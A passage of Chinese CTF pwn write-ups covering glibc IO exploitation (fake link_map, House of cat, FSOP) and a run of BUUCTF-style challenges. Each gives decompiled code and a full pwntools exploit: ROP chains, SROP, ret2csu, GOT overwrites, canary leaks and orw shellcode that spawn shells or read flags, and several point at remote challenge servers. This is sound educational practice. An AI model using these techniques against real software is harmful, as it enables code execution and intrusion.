edit(0, b'a'*0x420 + p64(fake_link_map_addr + 0x20)) # l_addr
payload = p64(0) +  p64(ld.address + 0x2f740) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc.sym['setcontext'] + 61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
 
'''
# getshell
payload += p64(pop_rdi_ret) # 0x40
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
'''
 
# orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libc.sym['_exit'])
 
payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8  SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8
 
payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
上述模板的调用流程为（以orw为例）：
程序进入exit->_dl_fini->(fini_t)array[i]，经l->l_info[28]->d_un.d_val 得 i=2，d_un为一个共用体
1
2
3
4
5
 union
{
  Elf32_Word d_val;/* Integer value */
  Elf32_Addr d_ptr;/* Address value */
} d_un;
经过while(i-- > 0)，第一个调用的项为array[1]，而经l_addr + l->l_info[26]->d_un.d_ptr 得 array = fake_link_map_addr + 0x30，则array[1]为ret_addr，之后则会调用array[0]，即setcontext+61，这个调用过程中，汇编代码为
1
2
3
4
5
6
0x7fa4750591a3    mov    rdx, r14
0x7fa4750591a6    sub    r14, 8
0x7fa4750591aa    cmp    qword ptr [rbp - 0x38], rdx
0x7fa4750591ae    jne    0x7fa4750591a0                <0x7fa4750591a0>
 ↓
0x7fa4750591a0    call   qword ptr [r14]               61>
可以看到在调用setcontext+61之前，会使rdx=r14，然后才有r14-8，则此时rdx=fake_link_map_addr+0x38
setcontext+61为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x7fa474eae06d 61>     mov    rsp, qword ptr [rdx + 0xa0]
0x7fa474eae074 68>     mov    rbx, qword ptr [rdx + 0x80]
0x7fa474eae07b 75>     mov    rbp, qword ptr [rdx + 0x78]
0x7fa474eae07f 79>     mov    r12, qword ptr [rdx + 0x48]
0x7fa474eae083 83>     mov    r13, qword ptr [rdx + 0x50]
0x7fa474eae087 87>     mov    r14, qword ptr [rdx + 0x58]
0x7fa474eae08b 91>     mov    r15, qword ptr [rdx + 0x60]
0x7fa474eae08f 95>     test   dword ptr fs:[0x48], 2
0x7fa474eae09b 107>    je     setcontext+294                294>
0x7fa474eae156 294>    mov    rcx, qword ptr [rdx + 0xa8]
0x7fa474eae15d 301>    push   rcx
0x7fa474eae15e 302>    mov    rsi, qword ptr [rdx + 0x70]
0x7fa474eae162 306>    mov    rdi, qword ptr [rdx + 0x68]
0x7fa474eae166 310>    mov    rcx, qword ptr [rdx + 0x98]
0x7fa474eae16d 317>    mov    r8, qword ptr [rdx + 0x28]
0x7fa474eae171 321>    mov    r9, qword ptr [rdx + 0x30]
0x7fa474eae175 325>    mov    rdx, qword ptr [rdx + 0x88]
0x7fa474eae17c 332>    xor    eax, eax
0x7fa474eae17e 334>    ret    
在对应位置写入值即可控制对应寄存器，ret后rsp被劫持到了fake_link_map_addr+0x40的位置，直接执行orw
House of cat
CatF1y师傅发现的一个比较新的技巧，目前适用于任何版本。
参考链接：[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
利用条件：可以向任意位置写入可控地址，可以泄露libcbase和heapbase，能触发FSOP或__malloc_assert或进入IO流
利用流程：伪造好fake_IO结构体 -> FSOP/__malloc_assert -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode
利用原理：通过在任意地址写一个可控地址，伪造fake_IO结构体并配合合适的IO链，来达到控制执行流的效果。
要进行IO利用首先要绕过vtable检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
用当前虚表指针减去_IO_vtable段的开始地址，其偏移若大于section_length，则会进入_IO_vtable_check()函数进行更为详细的检查。因此一般修改虚表指针为虚表段内的任意位置，也就是对于某一个_IO_xxx_jumps的任意偏移，从而调用我们想要调用的IO函数。
FSOP触发
FSOP有三种情况（能从main函数中返回、程序中能执行exit函数、libc中执行abort），第三种情况在高版本中已经删除
从exit进入时的调用链为：exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode
在_IO_flush_all_lockp函数中有这样几个片段
1
2
3
0x7f9ab615a9db <_IO_flush_all_lockp+123>    mov    r15, qword ptr [rip + 0x18bc9e] <_IO_list_all>
0x7f0f3fbd2a21 <_IO_flush_all_lockp+193>    mov    rax, qword ptr [r15 + 0xd8]
0x7f53be3b5a3f <_IO_flush_all_lockp+223>    call   qword ptr [rax + 0x18]        <_IO_wfile_seekoff>
也就是说程序会把_IO_list_all对应的值赋给r15，因此_IO_list_all处就要伪造成我们的可控地址，然后把对应结构中的0xd8位置的值赋给rax，之后会调用rax+0x18位置的函数，因此0xd8位置就要伪造为_IO_wfile_jumps+0x30（0x48位置为_IO_wfile_seekoff）
进入_IO_wfile_seekoff之后，会以rdi = fake_io_addr进入_IO_switch_to_wget_mode函数
1
2
3
4
5
6
7
8
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
    ...
}
在这个函数中，会调用_IO_WOVERFLOW函数，而对其并没有任何检查，只要我们可以更改该函数指针所在位置的值为setcontext+61就可以实现控制执行流
对应汇编代码如下
1
2
3
4
5
6
7
8
9
10
  0x7f53be3aad34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f53be3aad3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f53be3aad3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f53be3aad3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
► 0x7f53be3aad43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f53be3aad47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>

  0x7f53be3aad49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f53be3aad50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f53be3aad55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
显然 rax = [fake_io_addr + 0xa0]
在造成任意地址写一个堆地址的基础上，这里的寄存器rdi（fake_IO的地址）、rax和rdx都是我们可以控制的，在开启沙箱的情况下，假如把最后调用的**[rax + 0x18]设置为setcontext，把rdx设置为可控的堆地址，就能执行srop来读取flag**；如果未开启沙箱，则只需把最后调用的[rax + 0x18]设置为system函数，把fake_IO的头部写入/bin/sh字符串，就可执行system(“/bin/sh”)
__malloc_assert触发


《从零开始的pwner生活》
2024-05-18T13:20:00.000Z
题目均来自协会arttnba3师傅的帖子《从零开始的pwner生活》，由于本人水平有限，思路如有欠妥，欢迎指正。
task01
0x01.ciscn_2019_s_4  (ret2text  + stack_migration)
checksec发现只开了NX和partial relro
ida打开，看到vul函数
1
2
3
4
5
6
7
8
9
10
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
而且有一个hack函数，不能得到flag，但是有system函数
1
2
3
4
int hack()
{
  return system("echo flag");
}
程序会read，printf先后两次
而每次读取都是0x30，最多只能溢出到返回地址。
这种情况一般要用到栈迁移。
那么很明显只要泄露出栈地址，然后利用leave_ret进行栈迁移就可以gets hell了。
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
context.log_level='debug'

io = remote('node4.buuoj.cn',28888)
#io = process('./ciscn_s_4')
elf = ELF('./ciscn_s_4')

sys = 0x804854B
offset = 0x28 + 4
#泄露出栈地址，然后进行栈迁移
payload1 = b'A'*(offset-4)
io.recvuntil(b'Welcome')
io.send(payload1)
io.recvuntil(b'A'*(offset-4))
ebp = u32(io.recv(4))
print("ebp:"+hex(ebp))

sys = elf.plt['system']
leave_ret = 0x80484b8
payload2 = p32(sys) + b'AAAA' + p32(ebp-0x38+0xc) + b'/bin/sh\x00' + b'A'*(offset-0x14-4) + p32(ebp-0x38-4) + p32(leave_ret)
io.send(payload2)

io.interactive()
0x02.MSSCTF2020 - Wallet( got hijack )
先checksec看到开了NX，partial relro和canary
main函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-10h] [ebp-20h]
  int v5; // [esp-Ch] [ebp-1Ch]
  int v6[2]; // [esp+0h] [ebp-10h] BYREF
  int *p_argc; // [esp+8h] [ebp-8h]

  p_argc = &argc;
  v6[1] = __readgsdword(0x14u);
  setbufs();
  puts("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.");
  puts("1.JUST OPEN IT!");
  puts("2.EXIT");
  __isoc99_scanf("%d", v6, v4, v5);
  if ( v6[0] == 1 )
  {
    begin(p_argc);
    check();
    puts("Here is something you like.");
  }
  return 0;
}
看到就是一个选择界面，主要在begin和check函数里面
begin函数
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int begin()
{
  int v1; // [esp-8h] [ebp-80h]
  int v2; // [esp-4h] [ebp-7Ch]
  char v3[108]; // [esp+0h] [ebp-78h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  printf("Show me your name : ");
  __isoc99_scanf("%108s", v3, v1, v2);
  printf("Welcome %s! :P\n", v3);
  return __readgsdword(0x14u) ^ v4;
}
输入name，不存在溢出
check函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int check()
{
  int v1; // [esp-8h] [ebp-20h]
  int v2; // [esp-8h] [ebp-20h]
  int v3; // [esp-4h] [ebp-1Ch]
  int v4; // [esp-4h] [ebp-1Ch]
  int v5; // [esp+8h] [ebp-10h]
  int v6; // [esp+Ch] [ebp-Ch]

  printf("Now try the First password : ");
  __isoc99_scanf("%d", v5, v1, v3);
  fflush(stdin);
  printf("Now try the Second password : ");
  __isoc99_scanf("%d", v6, v2, v4);
  puts("Let me think......");
  if ( v5 != 338150 || v6 != 13371337 )
  {
    puts("You Failed! Try again.");
    exit(0);
  }
  puts("OMG!YOU SUCCESS!");
  return system("/bin/cat flag");
}
很明显让v5==338150并且v6==13371337就可以得到flag
但是scanf函数是对v5和v6所指向的地址进行写入
而不是改变v5和v6的值，在check函数中,我们并没有发现对v5和v6值的修改。
但是从ida中可以看到call begin之后直接就是call check，因此check函数里面的v5和v6可以由begin中的输入控制，仔细观察发现只能控制v5的值，v6值对应栈区域是canary的位置。那么就不能直接通过判断获得flag，但是我们可以控制v5的值为got表位置，从而利用scanf读入修改scanf的got表为system("/bin/cat flag")，下一次call scanf的时候就可以cat flag了
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context.log_level = 'debug'

io = process('./Wal1et')

#修改scanf  got表为system("/bin/cat flag")地址
#attach(io)
io.sendline(b'1')
io.sendline(b'A'*104 + p32(0x804a02c))
io.sendline(b'134514480')

io.interactive()
0x03.moeCTF2021 - baby canary( canary leak + ret2libc )
checksec看到开启了Full relro , NX , canary
ida打开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned int func()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  unsigned int v2; // [esp+4Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  memset(s, 0, sizeof(s));
  puts("So can you tell me who you are?");
  read(0, s, 0x100u);
  printf("Wow.. %s is a good name...", s);
  puts("\nSo what you come there for?");
  fflush(stdout);
  read(0, s, 0x100u);
  puts("That's good...But you need to escape from the canary before you get the flag!");
  fflush(stdout);
  return v2 - __readgsdword(0x14u);
}
看到有两次输入，中间有一次输出
第一次输入覆盖canary的\x00位置，在打印时可打印出canary，第二次输入还原canary然后ret2libc即可
exp为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from LibcSearcher import*
from pwn import*
context.log_level = 'debug'

io = process('./baby_canary')
elf = ELF('./baby_canary')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#canary泄露,之后ret2libc即可
offset = 0x40
payload1 = b'A'*offset + b'A'
io.recvuntil(b'who you are?')
io.send(payload1)

io.recvuntil(payload1)
canary = u32(io.recv(3).rjust(4,b'\x00'))
print('canary ===> '+hex(canary))

#attach(io)
#pause()

io.recvuntil(b'come there for?')
payload2 = b'A'*offset + p32(canary) + b'A'*12 + p32(puts_plt) + p32(0x8049238) + p32(puts_got)
io.send(payload2)

io.recvuntil(b'get the flag!\n')
puts = u32(io.recv(4))
print('puts ===> '+hex(puts))

libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
sys = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

payload3 = b'A'*offset + p32(canary) + b'A'*12 + p32(sys) + b'AAAA'  + p32(bin_sh)
io.send(payload3)
io.send(payload3)

io.interactive()
task02
0x01.ciscn_2019_c_1( ret2libc )
checksec看到程序为64位，开启了 partial relro 和 NX
程序是一个加密机，只有encrypt，没有decrypt，进入encrypt函数中
可以看到直接用gets函数来读取字符串，但是在函数返回之前会被修改，因此需要绕过修改，strlen是通过\x00判断是否到达字符串结尾的，直接在字符串开始位置写入\x00就可以使长度判断为0，从而绕过加密，直接构造栈。
先用puts函数泄露出libc地址，然后ret2libc直接getshell
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

#io = remote('node4.buuoj.cn',25055)
io = process('ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

encrypt = 0x4009a0
offset = 0x50+8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400c83
ret = 0x4006b9

#\x00绕过加密，ret2libc得到shell
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
payload = b'\x00' + b'A'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt)
io.sendline(payload)
io.recvuntil('Ciphertext\n\n')

puts = u64(io.recv(6).ljust(8,b'\x00'))
print('puts ===> '+hex(puts))
libc = LibcSearcher('puts', puts)
libcbase = puts - libc.dump('puts')
sys = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

io.recvuntil(b'encrypted\n')
payload = b'\x00' + b'A'*(offset-1) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.send(payload)

io.interactive()
0x02.ciscn_2019_s_3( ret2csu | SROP )
checksec看到只开启了 NX 和 partial relro
sys_read超大溢出，gadgets里面有系统调用号15rt_sigreturn，对应系统调用，而且在后面还能看到59号系统调用execve
因此就会有两种思路，一种是SROP，另一种是ret2csu
思路一：SROP
看汇编可以发现其实vuln函数没有一般函数应该有的 leave 操作，因此覆盖0x10个字节就够了
具体过程是先利用write泄露出栈中的已有数据来定位栈地址，并在栈中写入/bin/sh，覆盖返回地址为vuln函数，第二次直接用pwntools自带的SigreturnFrame控制寄存器为要getshell的布局，然后rop先到mov rax, 0f , 再syscall，后面加上SigreturnFrame
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*

#io = remote("node4.buuoj.cn",26290)
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context(os='linux', arch='amd64', log_level='debug')

#attach(io)
#pause()

vuln = 0x4004ed
payload1 = b'/bin/sh\x00'*2 + p64(vuln)
io.send(payload1)

io.recv(0x20)
leak_stack = u64(io.recv(8))
print("leak_stack ===> "+hex(leak_stack))
bin_sh = leak_stack - 0x148

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x400517

sigreturn = 0x4004da
syscall = 0x400517
payload2 = b'/bin/sh\x00'*2 +p64(sigreturn) + p64(syscall) + bytes(frame)
io.send(payload2)

io.interactive()
思路二：ret2csu
利用mov rax, 3b      ret和syscall，再结合__libc_csu_init里面的gadgets进行rop
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#io = remote("node4.buuoj.cn",25834)
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context(os='linux',arch='amd64',log_level='debug')

offset = 0x10
csu_gadget1 = 0x400596
csu_gadget2 = 0x400580
vuln = 0x4004ed
syscall = 0x400517
execve = 0x4004e2
pop_rdi = 0x4005a3
ret = 0x4003a9

#attach(io)
#pause()
def csu_payload(rdi, rsi, rdx, r12, ret_addr):
    payload = b'/bin/sh\x00' + p64(execve)
    payload += p64(csu_gadget1)
    payload += b'A'*8             #add esp, 8
    payload += p64(0) + p64(1) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi)  #rdx rbp r12 r13 r14 r15
    payload += p64(csu_gadget2)
    payload += b'A'*56
    payload += p64(ret_addr)
    return payload

payload1 = b'/bin/sh\x00'*2 + p64(vuln)
io.send(payload1)
io.recv(0x20)
leak_stack = u64(io.recv(8))
bin_sh = leak_stack - 0x148
print("bin_sh ===> "+hex(bin_sh))

payload2 = csu_payload(bin_sh,0,0,bin_sh+8,execve)
io.send(payload2 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(syscall))

io.interactive()
0x03.[BJDCTF 2nd]r2t4( got hijack )
checksec看到开了NX和canary，partial relro
只有格式化字符串，那就是修改got表，printf后面要执行的函数就只有一个__stack_chk_fail函数，修改该函数got表为backdoor地址即可
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#io = remote('node4.buuoj.cn',26759)
io = process('./r2t4')
elf = ELF('./r2t4')
context(log_level='debug')

attach(io)
pause()
backdoor = 0x400626
offset = 6
payload = b'%6c%10$hhn%32c%11$hhn%26c%12$hhn' + p64(0x601019) + p64(0x601018) + p64(0x60101a)
payload = payload.ljust(100,b'A')
io.send(payload)

io.interactive()
task03
0x01.ciscn_2019_n_7( exit_hook劫持  | FSOP)
思路一：exit_hook劫持
checksec看到保护全开
看起来好像是个堆题，但是没有对于堆漏洞的利用
输入666可以泄露出libc地址
程序首先会分配0x18大小的内存，在所分配内存的前8个字节存储string_length，后0x10字节为string，但是最后8个字节会在edit时产生任意地址写漏洞，可以利用one_gadget，因为我们无法主动执行malloc和free函数，因此劫持exit_hook
exp如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#exit_hook劫持

io = remote('node4.buuoj.cn',29322)
#io = process('./ciscn_2019_n_7')
elf = ELF('./ciscn_2019_n_7')
libc = ELF('./libc-2.23.so')

def choose(choice):
    io.recvuntil(b'Your choice-> \n')
    io.sendline(str(choice))

#attach(io)
#pause()
choose(666)
io.recvuntil(b'0x')
puts = int(io.recv(12),16)
print('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
print('libcbase ===> '+hex(libcbase))

one_gadget = libcbase + 0xf1147
exit_hook = libcbase + 0x5f0040 + 3848
print('exit_hook ===> '+hex(exit_hook))
log.success('one_gadget ===> '+hex(one_gadget))

choose(1)
io.recvuntil(b'Length: \n')
io.sendline(str(48))
io.recvuntil(b'name:\n')
io.send(b'A'*8+p64(exit_hook))

choose(2)
io.recvuntil(b'name:\n')
io.send(b'A'*8)
io.recvuntil(b'contents:\n')
io.send(p64(one_gadget)*2)

io.sendline(b'a')

io.interactive()

思路二：FSOP
一个古老的技巧，只适用于libc-2.23及之前版本，libc-2.24下也可以使用，但需要使用house of orange（一种结合_IO_FILE的组合利用方式）
本题可以直接任意地址写，输入666泄露出libc基址后直接修改io_stderr结构体中的内容，然后正常退出即可（不要输入4退出，否则不会得到shell）
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = process('./ciscn_2019_n_7')
elf = ELF('./ciscn_2019_n_7')
libc = ELF('./libc-2.23.so')

def DEBUG():
    attach(io)
    pause()

def choose(choice):
    io.recvuntil(b'Your choice-> \n')
    io.sendline(str(choice))

choose(666)
io.recvuntil(b'0x')
puts = int(io.recv(12),16)
print('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
print('libcbase ===> '+hex(libcbase))
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
print('_IO_list_all ===> '+hex(_IO_list_all))
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

io.recvuntil(b'Your choice-> \n')
io.sendline(b'1')
io.recvuntil(b'Input string Length: \n')
io.sendline(str(0x100).encode())
io.recvuntil(b'Author name:')
io.send(b'Static')

#修改io_stderr
io_stderr = _IO_list_all+0x20
io.recvuntil(b'Your choice-> \n')
io.sendline(b'2')
io.recvuntil(b'New Author name:\n')
io.send(b'A'*0x8+p64(io_stderr))
io.recvuntil(b'New contents:')
fake_io = b'/bin/sh\x00'+p64(0)*4+p64(libcbase+libc.symbols['system'])
fake_io = fake_io.ljust(0xd8,b'\x00')+p64(io_stderr+0x10)
io.send(fake_io)

io.sendline(b'5')

io.interactive()
关于FSOP，在libc-2.23下由于对vtable没有任何检查，导致可以通过伪造而调用自己想要调用的函数，具体调用方式为exit()函数中的_IO_flush_all_lockp ()函数，其会刷新_IO_list_all链表中的所有文件流，并且会调用_IO_OVERFLOW函数指针，函数调用具体逻辑为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int
_IO_flush_all_lockp (int do_lock)
{
...
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
   || (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))
#endif
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...
由于_IO_FILE结构体中的vtable指针可以被修改，因此可以指向任意我们伪造好的位置。修改好后，只需要满足fp->mode <= 0 && fo->_IO_write_ptr > fp->_IO_write_base即可进行调用，且调试发现该函数参数为结构体的第一个元素值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x7f671d85e550 (_IO_2_1_stderr_+16) ◂— 0x0
*RBX  0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RCX  0x7f671d85ec30 ◂— 0x0
*RDX  0x0
*RDI  0x7f671d85e540 (_IO_2_1_stderr_) ◂— 'LookHere'
*RSI  0xffffffff
*R8   0x4
*R9   0x0
*R10  0x7fff63e6a548 —▸ 0x7f671da899d8 (_rtld_global+2456) —▸ 0x7f671d863000 ◂— jg     0x7f671d863047
*R11  0x3
*R12  0x7f671da86700 ◂— 0x7f671da86700
*R13  0x0
 R14  0x0
*R15  0x2
*RBP  0x0
*RSP  0x7fff63e6a568 —▸ 0x7f671d515196 ◂— cmp    eax, -1
*RIP  0x7f671d4de390 (system) ◂— test   rdi, rdi
0x02.[V&N2020 公开赛]warmup( orw )
checksec看到除了canary，其他都开了
seccomp-tools看到禁用了execve
程序的缓冲区恰好接上，直接写payload就行
在libc的bss段上写入/bin/sh和flag字符串，直接得到flag
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(log_level='debug')

#得到libc地址后直接在libc的bss段上进行写，实现orw

io = remote('node4.buuoj.cn',29676)
#io = process('./vn_pwn_warmup')
elf = ELF('./vn_pwn_warmup')
libc = ELF('./libc-2.23.so')

io.recvuntil(b'gift: 0x')
puts = int(io.recv(12), 16)
log.success('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
log.success('libcbase ===> '+hex(puts))

pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92
open_ = libcbase + libc.symbols['open']
read_ = libcbase + libc.symbols['read']
libc_buf = libcbase + 0x3c5000

#attach(io)
#pause()

io.recvuntil(b'Input something: ')
payload1 = p64(0) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(0x50) + p64(read_)  \
        + p64(pop_rdi) + p64(libc_buf) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_) \
        + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(libc_buf) + p64(pop_rdx) + p64(0x30) + p64(read_) \
        + p64(pop_rdi) + p64(libc_buf) + p64(puts)
io.send(payload1)

io.recvuntil(b'name?')
payload2 = b'A'*0x78 + p64(pop_rdi)
io.send(payload2)

io.send(b'flag')

io.interactive()
0x03.minilCTF2020 - easycpp( cpp )
checksec看到只开了NX，partial relro，32位
这c++光看着就没有想法了，没系统学，就简单看了看
主函数如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
  B *v3; // ebx

  setvbuf(stdout, 0, 2, 0);
  v3 = (B *)operator new(4u);
  v3->_vptr_A = 0;
  B::B(v3);
  operator delete(v3);
  fgets(buf, 1024, stdin);
  strdup(buf);
  (*v3->_vptr_A)(v3);
  return 0;
}
程序最后的函数调用格外显眼
strdup是会拷贝字符串到分配的内存，而v3对应内存刚好释放，直接写地址就行，程序会直接执行v3所存的地址指向的地址上的代码
gdb调试很容易明白此时的调用逻辑
exp如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
from pwn import *

#程序会调用二级函数指针，直接动调解决

io = process('./easycpp')

#attach(io)
#pause()
payload = p32(0x804a0c4) + p32(0x80487bb)
io.sendline(payload)

io.interactive()

task04
0x01.[ZJCTF 2019]Login ( ret2text )
checksec看到NX，canary，partial relro
又是一个c++题，程序会有两次输入，一次是username，一次是password，在最后的password_checker函数里面可以看到函数指针
password_checker函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(
        void (***a1)(void),
        const char *a2,
        const char *a3)
{
  char s[88]; // [rsp+20h] [rbp-60h] BYREF
  unsigned __int64 v5; // [rsp+78h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( !strcmp(a2, a3) )
  {
    snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
    puts(s);
    (**a1)();
  }
  else
  {
    puts("Nope!");
  }
  return __readfsqword(0x28u) ^ v5;
}
我们首先要通过密码比较，如果不能理解这个函数指针，可以gdb调试，输入一些地址试一试。在输入的过程中，注意要8字节对齐。
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwn import *
context(log_level='debug')

#io = remote('node4.buuoj.cn',29115)
io = process('./login')

#attach(io)
#pause()
io.recvuntil(b'username: ')
io.sendline(b'A'*8)
io.recvuntil(b'password: ')
io.sendline(b'2jctf_pa5sw0rd\x00A'+p64(0x400e88)*8)

io.interactive()
0x02.pwnable.tw - dubblesort( ret2libc )
先checksec，保护全开
程序主要逻辑为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__printf_chk(1, "What your name :");
